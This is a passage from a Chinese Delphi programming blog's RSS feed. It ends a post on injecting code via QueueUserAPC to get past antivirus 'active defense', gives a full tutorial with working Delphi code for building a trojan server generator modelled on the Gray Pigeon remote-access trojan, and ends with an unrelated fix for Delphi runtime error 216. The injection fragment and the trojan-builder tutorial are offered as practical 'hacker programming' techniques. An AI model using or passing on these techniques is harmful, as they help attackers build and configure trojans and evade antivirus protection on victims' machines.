/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //<br /><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)(defaultAddress+i)) ;<br /><br/>&nbsp;&nbsp;&nbsp;&nbsp; }<br /><br/>&nbsp;&nbsp;&nbsp;&nbsp;<br /><br/>&nbsp;&nbsp;&nbsp;&nbsp; printf(&quot;TID:%d\n&quot;, pCurrentTid-&gt;dwTid) ;<br /><br/>&nbsp;&nbsp;&nbsp;&nbsp; pCurrentTid = pCurrentTid-&gt;pNext ;<br /><br/>&nbsp;&nbsp;&nbsp; }<br /><br/>&nbsp;&nbsp;&nbsp; break;<br /><br/>&nbsp;&nbsp; }<br /><br/>}</div><div>return 0 ;<br /><br/>}</div><p>Copyright © 2008</p><p><a href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/QueueUserAPC.html" target="_blank">继续阅读《绕过主动防御的代码注入方法(非DELPHI代码)》的全文内容...</a></p><h3>相关文章:</h3><ul><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/OpenProcessToken-CreateFileA.html" title="未命名文章">未命名文章</a>&nbsp;&nbsp;(2010-5-18 3:29:45)</p><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/xiazaizheyuandaima.html" title="下载者源代码">下载者源代码</a>&nbsp;&nbsp;(2008-12-28 23:40:44)</p></ul>]]></description><category>黑客编程</category><comments>http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/QueueUserAPC.html#comment</comments><wfw:comment>http://www.abcxd.com/delphi/</wfw:comment><wfw:commentRss>http://www.abcxd.com/delphi/feed.asp?cmt=391</wfw:commentRss><trackback:ping>http://www.abcxd.com/delphi/cmd.asp?act=tb&amp;id=391&amp;key=ea9c533e</trackback:ping></item><item><title>DELPHI木马生成技术!(配置)api</title><author>a63248388@163.com (kissjetg)</author><link>http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/DELPHImumashengcheng.html</link><pubDate>Tue, 18 May 2010 03:26:12 +0800</pubDate><guid>http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/DELPHImumashengcheng.html</guid><description><![CDATA[<p><font face="宋体">经常会看到鸽子或一些木马可以自定义生成一个服务端程序,开始很奇怪,他是怎么做到的!后来去网上搜了下,但是没找到相关文章! 后来碰巧得到了一个QQ病毒的源代码,而这个程序就可以生成一个文件,于是就研究了下代码,但是收获不大,但是很实用,他的大致思路和鸽子是一样的:</font></p><p><font face="宋体">原理一:<br /><br/>在程序的尾部追加数据,然后程序运行时从尾部读取数据,这个方法看似容易,但是实际操作的时候遇到了很多问题,我最不明白的是他既然加了数据又是怎么保持PE文件本身的格式的!但是这个方法确实可行,我看了鸽子的源码,他所用的方法基本一样!先把一个文件复制出来然后把数据写到文件尾部!</font></p><p><font face="宋体">后来一次偶然的机会看到一个很不错的文章!虽然写的不是很清楚,不过大致已经说明了思路,以及方法!</font></p><p><font face="宋体">我简单介绍下他的思路及原理:</font></p><p><font face="宋体">原理二:<br /><br/>这个方法破过软件的朋友肯定很容易理解,先将需要的数据保留出,然后让程序去替换!<br /><br/>简单的说比如我需要写入一个随机端口,这个时候我们可以先将端口留出来不写比如定义一个常量</font></p><p><font face="宋体">Const<br /><br/>DuanKou:='XXXXXXXXXXXXXXXXXXXXXXXXX';</font></p><p><font face="宋体">至于为什么定义是XXXXXXXX只是为了方便找!然后让程序去替换!,字很多我懒得一个一个写!</font></p><p><font face="宋体">发出来大家慢慢看吧! 这个例子也是定义端口的!</font></p><p><font face="宋体">原文: (这个也是Delphi的不过我试过在VC++下一样可以的,原理都一样,只是语法问题!)</font></p><p><font face="宋体">DELPHI木马DIY之生成服务端</font></p><p><font face="宋体">我在这里就生成简单的服务端，为什么不先讲服务端的隐藏？因为我觉得生成服务端要好理解一点，简单一点，我们就由浅入深吧，OK，LET'S GO。</font></p><p><font face="宋体">网络上其他的生成服务端的方式我不是很清楚，我就用我的方法来和大家讲解（不过还是先声明，我的方法亦是来自于网络，如果和谁的方法相同，请不要说我侵犯版权，因为我也不知道原作者是谁了，我这文章不作商业用途，如果有朋友认为我侵犯了他的版权，请立即通知我，我马上取消这个文章的继续发布！或者给他在文章中署名，OK，主要本人是学法律的，所以说话有点唠叨，不过中国有句俗话：&ldquo;丑话说在前面。&rdquo;不过用的人少啊）</font></p><p><font face="宋体">开始：<br /><br/>一.我们要先改一下我们配置的服务端。<br /><br/>服务端我们就暂时不用自定端口了，跟着我一步一步的做，暂时不要问为什么，我稍后就解释<br /><br/>我们打开服务端的工程，在上面是不是有一句这个话<br /><br/>var<br /><br/>Form1: TForm1;<br /><br/>对，就在这，我们在下面加一句：duankou: string ='xxxxx';<br /><br/>就是全局变量吧，然后我们再点一下Form1这个窗口，就是你的最初的窗口啦，添加一个事件<br /><br/>ONCREATE，就是TForm1.FormCreate，意思是当窗口建立的时候要做的事情。我们加上这个语句：<br /><br/>NMUDP1.LocalPort:=strtoint(duankou);<br /><br/>意思是NMUDP1的本地端口为duankou的数字。（strtoint的意思是把字符串转换为数字，懂吧）</font></p><p><font face="宋体">意思已经很明白了，duankou: string ='xxxxx'为什么要是xxxxx？主要是一会好搜索，嘿。 <br /><br/>好了，我们服务端基本上配置完了，现在我们来生成服务端，这个应该会了吧。</font></p><p><font face="宋体">二.第二步实际我们要做两个事情<br /><br/>1）.就是把服务端生成为资源<br /><br/>2）.就是查找xxxxx在服务端的位置<br /><br/>ok我们还是先来查找xxxxx在服务端的位置吧。<br /><br/>1.我们打开任意一个16进制编辑器，用这个编辑器打开我们的服务端，这个简单吧。<br /><br/>2.搜索xxxxx，这样应该一次就能搜索出来xxxxx所在的位置，我这是4e240。OK，你的不同就自己定。<br /><br/>3.打开一个进制转换工具,把4e240转换为10进制的数字。320064我这是，一定要把这个数字记着哦，我们一会要用的东西，这是最主要的东西哦！(系统计算器就可以)</font></p><p><font face="宋体">好了，我们再来把服务端生成为资源<br /><br/>1.我们在生成了服务端的文件夹里面建立一个文本文档，里面写上一句话 <br /><br/>fuwuduan RCDATA server.exe<br /><br/>标识符 区域吧 文件名<br /><br/>标识符尽量不要和文件名一样，有时候会出错了，OK，听我一句吧，谢谢<br /><br/>我们把这个文本文档改名成为fuwu.rc这个应该不用解释了。<br /><br/>2.再建立一个批处理文件，里面写上这么一句话<br /><br/>path=C:\Program Files\Borland\Delphi7\Bin;<br /><br/>Brcc32 fuwu.rc<br /><br/>path为你的delphi7的BIN目录的路径，OK，然后运行这个批处理，在你的服务端的文件夹里就会生成一个fuwu.res这是资源哦，嘿嘿，重要的东西<br /><br/>我们把他复制到客服端的文件夹里，OK，我们这一步的准备工作就做完了~~~ </font></p><p><font face="宋体">三.第三步我们就要配置客服端了，让客服务端可以生成一个自定端口的服务段</font></p><p><font face="宋体">1.我们要在客服端的dpr里加上一句话{$R *.res}下面加上一个{$R fuwu.res}意思就是让程序生成时自动加载一个服务端的资源进去。<br /><br/>2.我们要开始试着生成一个服务端了，不过这步挺重要，我们还是在第四步说。</font></p><p><font face="宋体">四.最重要的一步，要主要，一步一步来，跟着做，我会详细解释的。<br /><br/>1.我们生成一个全局的变量先<br /><br/>在uses的下面和type的上面加上一句：<br /><br/>const OFFSET_DUANKOU = 320064;//这个就根据你自己的值来定。<br /><br/>把这一段的代码给出来，免得新手看不懂</font></p><p><font face="宋体">uses<br /><br/>Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,<br /><br/>Dialogs, StdCtrls, NMUDP;<br /><br/>const OFFSET_DUANKOU = 320064;<br /><br/>type<br /><br/>TForm1 = class(TForm)<br /><br/>Button1: TButton;//看懂我是加在什么位置了的吧</font></p><p><font face="宋体">2.我们添加两个控件 edit和按扭，EDIT是用来写你要生成的服务端的端口，按扭是生成吧。<br /><br/>3.我们生成一个button2的点击事件<br /><br/>我们现在在button2的点击事件中声明一下<br /><br/>var<br /><br/>WriteBuff, ziyuanzhizhen: PChar;<br /><br/>ziyuanweizhi: HRSRC;<br /><br/>ziyuandaxiao, BytesWritten: Longword;<br /><br/>shujuchulijubing: THandle;<br /><br/>shenqingzhizhen: THandle;<br /><br/>duankou:string;</font></p><p><font face="宋体">现在我们开始begin</font></p><p><font face="宋体">BEGIN<br /><br/>duankou:=trim(Edit4.Text); //端口为edit4的文字<br /><br/>ziyuanweizhi := FindResource(HInstance, 'fuwuduan', RT_RCDATA); //资源指针为寻找到的资源'fuwuduan'（就是我先说的标识符）<br /><br/>ziyuandaxiao := SizeofResource(HInstance, ziyuanweizhi);//资源大小<br /><br/>shujuchulijubing := LoadResource(HInstance, ziyuanweizhi); //数据处理句炳 <br /><br/>ziyuanzhizhen := LockResource(shujuchulijubing);//资源指针<br /><br/>shenqingzhizhen := CreateFile(pchar('server.exe'), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);<br /><br/>WriteFile(shenqingzhizhen, ziyuanzhizhen^, ziyuandaxiao, BytesWritten, nil);//写文件<br /><br/>Sleep(100);<br /><br/>SetFilePointer(shenqingzhizhen, OFFSET_DUANKOU, nil, FILE_BEGIN);//重定位指针<br /><br/>WriteBuff := PChar(duankou + StringOfChar(#0, 5 - Length(duankou)));//要写的数据<br /><br/>WriteFile(shenqingzhizhen, WriteBuff^, 5, BytesWritten, nil);//再次修改文件<br /><br/>CloseHandle(shenqingzhizhen);//关闭资源<br /><br/>end;<br /><br/>我这没法给大家详细解释了，不过如果你聪明的话应该也可以融会惯通了。<br /><br/>注意的是SetFilePointer这里的OFFSET_DUANKOU为要开始写的地址，当然就是我们先找到的地址<br /><br/>WriteBuff的里面的5为XXXXX的长度，WriteFile里面的5也是，shenqingzhizhen里面的'server.exe'可以自己改名字，也可以是完整的路径，也可以是EDIT里面的东西</font></p><p><font face="宋体">然后我们生成这个客服端，设置好EDIT4.text后（就是要生成的端口，我这为了方便就没有什么容错啊，提示错误之类的了，不过端口自定义的规则这些，大家应该清楚）点击BUTTON2，那么在当前的文件夹下就会生成一个服务端，运行后端口就会是EDIT4.text的内容<br /><br/>大家测试一下吧<br /><br/>我在XP+DELPHI的环境一切正常。<br /><br/></font></p><p>Copyright © 2008</p><p><a href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/DELPHImumashengcheng.html" target="_blank">继续阅读《DELPHI木马生成技术!(配置)api》的全文内容...</a></p><h3>相关文章:</h3><ul><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/DELPHIshengchengmumajishufenxi.html" title="DELPHI生成木马技术分析">DELPHI生成木马技术分析</a>&nbsp;&nbsp;(2009-2-15 4:15:57)</p><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/delphizhimumashengchengyuanli.html" title="delphi之木马生成原理-资源文件-和文件流的应用">delphi之木马生成原理-资源文件-和文件流的应用</a>&nbsp;&nbsp;(2009-2-15 2:28:57)</p><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/delphiDLL/DELPHIgeiDLLtianjiabanbenxinxi.html" title="DELPHI 给DLL 添加版本信息">DELPHI 给DLL 添加版本信息</a>&nbsp;&nbsp;(2009-1-20 11:59:2)</p><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/delphiZT/8.html" title="生成旋转字体">生成旋转字体</a>&nbsp;&nbsp;(2008-10-14 14:41:45)</p></ul>]]></description><category>黑客编程</category><comments>http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/DELPHImumashengcheng.html#comment</comments><wfw:comment>http://www.abcxd.com/delphi/</wfw:comment><wfw:commentRss>http://www.abcxd.com/delphi/feed.asp?cmt=390</wfw:commentRss><trackback:ping>http://www.abcxd.com/delphi/cmd.asp?act=tb&amp;id=390&amp;key=639e84d2</trackback:ping></item><item><title>delphi编写的时出现 runtime error 216 at 数字 的解决方法</title><author>a63248388@163.com (kissjetg)</author><link>http://www.abcxd.com/delphi/abcxddelphi/DELPHIJQ/delphi-runtime-error-216.html</link><pubDate>Tue, 18 May 2010 03:24:27 +0800</pubDate><guid>http://www.abcxd.com/delphi/abcxddelphi/DELPHIJQ/delphi-runtime-error-216.html</guid><description><![CDATA[<div class="codes">1.修改注册表：<br /><br/>开始菜单－运行－输入regedit－点确定－进入注册表, 在：HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooks 下，应该只有一个正常的键值&quot;{AEB6717E-7E19-11d0-97EE-00C04FD91972}, 将其他的删除。</div><p>2.<b style="color: black; background-color: #ffff66">Delphi</b>中利用SEH屏蔽退出时的Runtime ErrorDelphi<br /><br/>写的程序，如果在单元的finalization里出现了一些异常操作会导致退出时抛出Runtime Error ，规范的处理办法当然是解决这些异常，但是有些特殊的情况下，比如用了很多的第三方控件，实在没办法解决问题时，只有把他屏蔽掉，这样给客户的时候就不至于看到满天的Runtime Error 了。前些日子同事正好碰到了这个问题，他写的一个ACTIVEX控件，在客户的IE里关闭的时候就会抛出很多错误导致IE死掉，但是在本机又模拟不出来，问题不能解决，又得应付客户。找我讨论解决方案，我提议可以用SEH解决，于是写了一段代码，效果不错，不敢独享，贴出来希望能够帮大家应付遇到的问题。我的做法其实很简单，就是在 END.之前手工调用Halt释放，并且将Halt抛出的错误屏蔽掉，这样做和正常的<b style="color: black; background-color: #ffff66">DELPHI</b>释放过程没有任何区别，因为End.编译后其实就是一句话 Call Halt0，只是VCL自己没有屏蔽Halt0里抛出的错误，而是跳出个Runtime Error 来;首先就是位置的问题，如果是EXE的话，直接在END.之前就行了，如果是Dll的话就麻烦点，需要挂上DllProc，当wReason = DLL_PROCESS_DETACH时处理。然后就是如何屏蔽错误的问题了，第一个最容易想到的做法就是直接Tryhaltexceptend;</p><div class="codes"><pre class="delphi" name="code">Try<br/>  halt<br/>except<br/>end;</pre></div><p><span style="font-size: 10pt" minmax_bound="true">但是这样是不行的，因为try&hellip;except end捕获的错误都会放到System单元的_HandleOnException中处理，函数检查错误类型是否是DelphiException，如果不是就不处理，这个时候就会被<b style="color: black; background-color: #ffff66">DELPHI</b>的顶层异常机制捕获，并抛出Runtime error，halt里抛出来的错误恰恰就是非DelphiException，代码如下：</span></p><div class="codes"><pre class="delphi" name="code">procedure&nbsp;_HandleOnException;<br/>&hellip;<br/>CMP&nbsp;[EAX].TExceptionRecord.ExceptionCode,cDelphiException<br/>JE&nbsp;@@DelphiException<br/>CLD<br/>CALL&nbsp;_FpuInit<br/>MOV&nbsp;EDX,ExceptClsProc<br/>TEST&nbsp;EDX,EDX<br/>JE&nbsp;@@exit<br/>CALL&nbsp;EDX<br/>TEST&nbsp;EAX,EAX<br/>JNE&nbsp;@@common<br/>JMP&nbsp;@@exit<br/>&hellip;<br/>End;</pre><font size="2">所以，需要借助SHE机制来处理这个问题（哈哈，不然就得改标题了），代码如下（关于如何挂SHE我就不介绍了，我在另外一篇文章《<b style="color: black; background-color: #ffff66">Delphi</b>异常机制与SEH》详细介绍了）：</font></div><div class="codes"><pre class="delphi" name="code">asm<br/>//挂上SEH<br/>xor edx, edx<br/>push ebp<br/>push OFFSET @@safecode<br/>push dword ptr fs:[edx]<br/>mov fs:[edx],esp<br/>//调用Halt0<br/>call Halt0<br/>jmp @@exit;<br/>@@safecode:<br/>//如果出现异常继续调用Halt0退出<br/>call Halt0;<br/>@@exit:<br/>end;</pre></div><p>这个做法的好处就是，不会对<b style="color: black; background-color: #ffff66">DELPHI</b>正常释放过程产生影响，所有的释放操作都是和VCL一致的，只是不会把错误显示出来。</p><p>以下是完整代码：</p><p>一、EXE的情况，把代码放在工程文件</p><p>二、DLL的情况，把代码放在工程文件里</p><p><span style="color: #ff0000">明生注：Exe的 在工程文件PER里面写入此过程</span></p><pre class="delphi" name="code">procedure Halt0;<br/>begin<br/>  Halt;<br/>end;</pre><p><br /><br/>然后在BEGIN和END.之间写上此汇编</p><p>&nbsp;</p><div class="codes"><pre class="delphi" name="code">asm<br/>    xor edx, edx<br/>    push ebp<br/>    push OFFSET @@safecode<br/>    push dword ptr fs:[edx]<br/>    mov fs:[edx],esp<br/><br/>    call Halt0<br/>    jmp @@exit;<br/><br/>    @@safecode:<br/>    call Halt0;<br/><br/>    @@exit:<br/>  end;</pre></div><p>DLL处写入:</p><div class="codes"><pre class="delphi" name="code">procedure Halt0;<br/>begin<br/>   Halt;<br/>end;<br/><br/>var<br/>  OldProc: Pointer;<br/>procedure DLLEntryPoint(dwReason: DWord);<br/>begin<br/>  if (dwReason = DLL_PROCESS_DETACH) Then<br/>  Begin<br/>    asm<br/>      xor edx, edx<br/>      push ebp<br/>      push OFFSET @@safecode<br/>      push dword ptr fs:[edx]<br/>      mov fs:[edx],esp<br/>      call Halt0<br/>      jmp @@exit;<br/>      @@safecode:<br/>      call Halt0;<br/>      @@exit:<br/>    end;<br/>  end;<br/>end;<br/><br/>begin<br/>  DllProc := @DLLEntryPoint;<br/>  DllProcEX := @DLLEntryPoint;<br/>end.</pre></div><p>Copyright © 2008</p><p><a href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIJQ/delphi-runtime-error-216.html" target="_blank">继续阅读《delphi编写的时出现 runtime error 216 at 数字 的解决方法》的全文内容...</a></p><h3>相关文章:</h3><ul><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIAPI/Exception-Message.html" title="[原创]明生小记之delphi错误处理">[原创]明生小记之delphi错误处理</a>&nbsp;&nbsp;(2010-5-18 3:14:17)</p><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIJQ/applicationEvents_7866.html" title="在delphi程序中屏蔽所有错误">在delphi程序中屏蔽所有错误</a>&nbsp;&nbsp;(2010-5-18 3:9:38)</p><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIJQ/applicationEvents.html" title="在delphi程序中屏蔽所有错误">在delphi程序中屏蔽所有错误</a>&nbsp;&nbsp;(2010-5-18 3:9:38)</p></ul>]]></description><category>常用技巧</category><comments>http://www.abcxd.com/delphi/abcxddelphi/DELPHIJQ/delphi-runtime-error-216.html#comment</comments><wfw:comment>http://www.abcxd.com/delphi/</wfw:comment><wfw:commentRss>http://www.abcxd.com/delphi/feed.asp?cmt=389</wfw:commentRss><trackback:ping>http://www.abcxd.com/delphi/cmd.asp?act=tb&amp;id=389&amp;key=0a12f09a</trackback:ping></item></channel></rss>
